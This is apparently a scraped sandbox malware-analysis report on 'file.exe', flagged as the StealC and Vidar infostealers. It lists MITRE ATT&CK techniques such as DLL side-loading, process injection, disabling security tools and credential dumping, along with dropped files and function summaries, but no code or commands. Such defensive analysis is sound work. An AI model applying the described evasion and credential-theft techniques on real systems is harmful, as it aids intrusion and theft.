Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CGCFBFBGHDGDAKECAKJE

C:\ProgramData\ECFHJKEBAAECBFHIECGI

C:\ProgramData\EHDHIDAE

C:\ProgramData\FHDAEHDAKECGCAKFCFIJDHJDBK

C:\ProgramData\GCAFCAFHJJDBFIECFBKECFHDGI

C:\ProgramData\GDBKJDGIJECFIEBFIDHC

C:\ProgramData\GHIDHCBG

C:\ProgramData\JJJJEBGDAFHJEBGDGIJDHCAKJK

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 00BA9860 Relevance: 84.2, APIs: 33, Strings: 15, Instructions: 212
libraryloaderCOMMON

Function 00B945C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00BA4910 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 172
fileCOMMON

Function 00B9BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 00BA9C10 Relevance: 228.2, APIs: 112, Strings: 18, Instructions: 684
libraryloaderCOMMON

Function 00B97710 Relevance: 102.1, APIs: 54, Strings: 4, Instructions: 584
stringmemoryCOMMON

Function 00BA0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 00B95100 Relevance: 51.3, APIs: 19, Strings: 10, Instructions: 572
stringnetworkmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre